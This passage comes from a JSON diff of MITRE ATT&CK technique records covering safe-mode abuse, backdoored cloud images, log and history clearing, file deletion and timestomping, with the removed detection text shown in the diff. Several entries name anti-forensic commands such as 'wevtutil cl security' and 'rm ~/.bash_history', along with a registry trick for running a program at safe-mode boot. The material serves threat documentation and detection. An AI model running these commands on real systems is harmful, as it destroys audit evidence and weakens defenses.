"DET0239: Detection Strategy for Impair Defenses Indicator Blocking" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-06-23 20:00:27.600000+00:00", + "modified": "2025-10-24 17:48:33.044000+00:00", + "name": "Safe Mode Boot", + "description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/009", + "external_id": "T1562.009" + }, + { + "source_name": "BleepingComputer REvil 2021", + "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021.", + "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/" + }, + { + "source_name": "Cybereason Nocturnus MedusaLocker 2020", + "description": "Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021.", + "url": "https://www.cybereason.com/blog/medusalocker-ransomware" + }, + { + "source_name": "Microsoft Bootcfg", + "description": "Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg" + }, + { + "source_name": "Microsoft bcdedit 2021", + "description": "Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit" + }, + { + "source_name": "Microsoft Safe Mode", + "description": "Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021.", + "url": "https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234" + }, + { + "source_name": "CyberArk Labs Safe Mode 2016", + "description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.", + "url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise" + }, + { + "source_name": "Sophos Snatch Ransomware 2019", + "description": "Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.", + "url": "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jorell Magtibay, National Australia Bank Limited", + "Kiyohito Yamamoto, RedLark, NTT Communications", + "Yusuke Kubo, RedLark, NTT Communications" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.044000+00:00\", \"old_value\": \"2025-04-25 14:46:08.076000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\\\* in front of the \\\"Startup\\\" value name: HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\[\\\"\\\\*Startup\\\"=\\\"{Path}\\\"] or by adding a key to HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\\n\\nMonitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\\\* in front of the \\\"Startup\\\" value name: HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\[\\\"\\\\*Startup\\\"=\\\"{Path}\\\"] or by adding a key to HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\\n-\\n-Monitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0116: Detection Strategy for Safe Mode Boot Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-04 12:04:03.552000+00:00", + "modified": "2025-10-24 17:48:45.786000+00:00", + "name": "Implant Internal Image", + "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1525", + "external_id": "T1525" + }, + { + "source_name": "Rhino Labs Cloud Image Backdoor Technique Sept 2019", + "description": "Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.", + "url": "https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/" + }, + { + "source_name": "Rhino Labs Cloud Backdoor September 2019", + "description": "Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.", + "url": "https://github.com/RhinoSecurityLabs/ccat" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee", + "Praetorian" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Containers" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Image: Image Metadata\", \"Image: Image Creation\", \"Image: Image Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.786000+00:00\", \"old_value\": \"2025-04-25 15:15:30.983000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\\n\\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\\n-\\n-In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. \"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1045: Code Signing", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0007: Image (Image Creation)", + "DS0007: Image (Image Metadata)", + "DS0007: Image (Image Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0334: Detection Strategy for T1525 \u2013 Implant Internal Image" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-31 12:32:08.228000+00:00", + "modified": "2025-10-24 17:48:40.313000+00:00", + "name": "Clear Command History", + "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history. \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (clear logging and/or clear history).(Citation: US-CERT-TA18-106A) On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.(Citation: Broadcom ESXi Shell Audit)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070/003", + "external_id": "T1070.003" + }, + { + "source_name": "Broadcom ESXi Shell Audit", + "description": "Broadcom. (2025, February 20). Auditing ESXi Shell logins and commands. Retrieved March 26, 2025.", + "url": "https://knowledge.broadcom.com/external/article/321910/auditing-esxi-shell-logins-and-commands.html" + }, + { + "source_name": "Sophos PowerShell command audit", + "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.", + "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit" + }, + { + "source_name": "Microsoft PowerShell Command History", + "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.", + "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + }, + { + "source_name": "Sophos PowerShell Command History Forensics", + "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.", + "url": "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vikas Singh, Sophos", + "Emile Kenning, Sophos", + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Deletion\", \"File: File Modification\", \"Command: Command Execution\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.313000+00:00\", \"old_value\": \"2025-04-15 19:58:23.774000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity.\\n\\nMonitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity.\\n-\\n-Monitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1029: Remote Data Storage", + "M1039: Environment Variable Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Deletion)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0165: Behavioral Detection of Command History Clearing" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-28 17:11:54.034000+00:00", + "modified": "2025-10-24 17:48:34.441000+00:00", + "name": "Clear Linux or Mac System Logs", + "description": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* /var/log/messages:: General and system-related messages\n* /var/log/secure or /var/log/auth.log: Authentication logs\n* /var/log/utmp or /var/log/wtmp: Login records\n* /var/log/kern.log: Kernel logs\n* /var/log/cron.log: Crond logs\n* /var/log/maillog: Mail server logs\n* /var/log/httpd/: Web server access and error logs\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070/002", + "external_id": "T1070.002" + }, + { + "source_name": "Linux Logs", + "description": "Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020.", + "url": "https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Deletion\", \"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.441000+00:00\", \"old_value\": \"2025-04-15 21:56:45.103000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1029: Remote Data Storage", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Deletion)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0520: Behavioral Detection of Log File Clearing on Linux and macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-28 17:05:14.707000+00:00", + "modified": "2025-10-24 17:48:52.287000+00:00", + "name": "Clear Windows Event Logs", + "description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\n\nWith administrator privileges, the event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command Remove-EventLog -LogName Security to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070/001", + "external_id": "T1070.001" + }, + { + "source_name": "disable_win_evt_logging", + "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.", + "url": "https://ptylu.github.io/content/report/report.html?report=25" + }, + { + "source_name": "Microsoft Clear-EventLog", + "description": "Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.", + "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog" + }, + { + "source_name": "Microsoft EventLog.Clear", + "description": "Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.", + "url": "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx" + }, + { + "source_name": "Microsoft wevtutil Oct 2017", + "description": "Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Lucas Heiligenstein" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Deletion\", \"Process: OS API Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.287000+00:00\", \"old_value\": \"2025-04-15 19:58:36.700000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: \\\"The audit log was cleared\\\").\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1029: Remote Data Storage", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Deletion)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0532: Detection of Event Log Clearing on Windows via Behavioral Chain" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-31 12:35:36.479000+00:00", + "modified": "2025-10-24 17:49:27.978000+00:00", + "name": "File Deletion", + "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows, rm or unlink on Linux and macOS, and `rm` on ESXi.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070/004", + "external_id": "T1070.004" + }, + { + "source_name": "Microsoft SDelete July 2016", + "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Walker Johnson" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.978000+00:00\", \"old_value\": \"2025-04-15 19:59:12.733000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Deletion)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0140: Behavioral Detection of Malicious File Deletion" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-31 12:39:18.816000+00:00", + "modified": "2025-10-24 17:49:11.691000+00:00", + "name": "Network Share Connection Removal", + "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070/005", + "external_id": "T1070.005" + }, + { + "source_name": "Technet Net Use", + "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", + "url": "https://technet.microsoft.com/bb490717.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Command: Command Execution\", \"Process: Process Creation\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.691000+00:00\", \"old_value\": \"2025-04-16 20:37:18.727000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0103: Behavioral Detection of Network Share Connection Removal via CLI and SMB Disconnects" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-31 12:42:44.103000+00:00", + "modified": "2025-10-24 17:48:43.937000+00:00", + "name": "Timestomp", + "description": "Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.\n\nIn Windows systems, both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet 